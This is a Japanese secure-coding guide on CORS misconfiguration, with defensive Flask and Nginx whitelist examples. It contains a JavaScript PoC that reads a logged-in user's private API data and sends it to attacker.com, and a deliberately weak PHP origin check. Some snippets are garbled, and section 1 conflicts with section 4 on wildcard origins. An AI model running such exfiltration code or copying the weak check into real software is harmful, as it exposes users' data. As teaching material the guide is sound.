【実務・中級編】CORS(Cross-Origin Resource Sharing)ポリシーの誤設定による情報漏洩 – アプリケーションセキュリティ & 安全な開発防御ガイド

CORS誤設定の恐怖:なぜ「とりあえずワイルドカード」が致命的なのか

「とりあえず動けばいいから、Access-Control-Allow-Origin: にしておこう」

もし君のチームでそんなコードがレビューを通過しているなら、それは時限爆弾を抱えて走っているようなものだ。CORS(Cross-Origin Resource Sharing)の誤設定は、単なるWeb開発の作法ではなく、「認証済みユーザーのブラウザを、攻撃者のスパイに変える」という極めて深刻な脆弱性に直結する。

今日は、教科書的な説明は抜きにして、現場で実際に起きている「CORSの盲点」と、それを確実に封じ込めるための実装論を叩き込む。

—

1. 攻撃者はどこを狙っているのか?

CORSポリシーが甘いと何が起きるのか。結論から言えば、「君のサイトにログインしているユーザーのブラウザ上で、攻撃者のスクリプトが機密情報を読み取れる」ということだ。

攻撃者は、あなたのサーバーが適切にオリジンを検証していないことを知ると、被害者を釣ったフィッシングサイトから、被害者のブラウザを経由して、あなたのAPIへ認証情報(CookieやAuthorizationヘッダー)付きのリクエストを飛ばす。

攻撃のPoC(概念実証)

攻撃者が仕掛ける罠は極めてシンプルだ。

// 攻撃者の悪意あるサイトで実行されるJS
fetch(‘https://api.your-service.com/user/private-data’, {
credentials: ‘include’ // 認証情報(Cookie等)を強制的に含める
})
.then(response => response.json())
.then(data => {
// 盗み出したデータを攻撃者のサーバーへ送信
fetch(‘https://attacker.com/log?data=’ + JSON.stringify(data));
});

もし、あなたのサーバーが Access-Control-Allow-Origin: を返していれば、ブラウザは「お、このAPIはどこからでもアクセスOKだな」と判断し、本来守られるべきレスポンスを攻撃者に渡してしまう。これが情報漏洩のメカニズムだ。

—

2. 実務で「絶対にやってはいけない」設定

多くのエンジニアが犯す過ちは、「正規表現による雑な許可」だ。

// 悪い例:末尾一致のみチェックする甘い実装
$origin = $_SERVER[‘HTTP_ORIGIN’];
if (strpos($origin, ‘trusted-app.com’) !== false) {
header(“Access-Control-Allow-Origin: $origin”);
}

これだと、攻撃者が attacker-trusted-app.com というドメインを確保すれば、簡単にチェックをすり抜ける。正規表現でバリデーションする際も、^https://.\.trusted-app\.com$ のように境界を意識しない実装は、脆弱性の温床になる。

—

3. 【コピペ推奨】セキュアなCORS実装サンプル

安全な実装の鉄則は、「ホワイトリストによる厳密な突き合わせ」だ。

Python (Flask) の場合

Flaskで実装する場合、リクエストの Origin ヘッダーをホワイトリストと照合し、一致した場合のみ許可を返すロジックを組む。

from flask import Flask, request, jsonify

app = Flask(__name__)

安全なオリジンのリスト(動的に変更可能な設計にすること)
ALLOWED_ORIGINS = [“https://app.example.com”, “https://admin.example.com”]

@app.after_request
def add_cors_headers(response):
origin = request.headers.get(‘Origin’)
if origin in ALLOWED_ORIGINS:
response.headers[‘Access-Control-Allow-Origin’] = origin
response.headers[‘Access-Control-Allow-Credentials’] = ‘true’ # 必要時のみ
response.headers[‘Access-Control-Allow-Methods’] = ‘GET, POST, OPTIONS’
return response

Nginx での設定(インフラ層での防御)

アプリケーション側で制御するのが理想だが、フロントエンドのNginxで一括制御する場合も、ワイルドカードは厳禁だ。

map $http_origin $cors_origin {
default “”;
“https://app.example.com” “$http_origin”;
“https://admin.example.com” “$http_origin”;
}

server {
location /api/ {
if ($cors_origin) {
add_header ‘Access-Control-Allow-Origin’ $cors_origin always;
add_header ‘Access-Control-Allow-Credentials’ ‘true’ always;
}
# … 以降のプロキシ設定
}
}

—

4. 最後に:セキュリティチーフからの提言

CORSの脆弱性は、WAFだけで防ぐのは難しい。なぜなら、正当なユーザーからのリクエストと攻撃者からのリクエストが、通信経路としては同じだからだ。

1. デフォルトで拒否する: Access-Control-Allow-Origin は、必要なオリジンにのみ明示的に許可を与える。
2. は絶対禁止:</b> credentials: include を使うAPIでは、ワイルドカードはブラウザによって即座に拒否される仕様だが、設定の意図を曖昧にしないこと。
3. Varyヘッダーの活用: キャッシュを利用している場合、Vary: Origin を指定しないと、異なるオリジン間でキャッシュが混ざり、意図しない情報開示が発生するリスクがある。これも忘れずに追加してほしい。

セキュリティは「設定」ではなく「設計」だ。コードを書く時、「このAPIは誰から呼ばれるべきか?」を常に自問自答すること。それが、君がプロフェッショナルとして生き残るための唯一の道だ。

現場からは以上だ。また何かあれば、いつでもコードを持ってくるといい。

コメント

タイトルとURLをコピーしました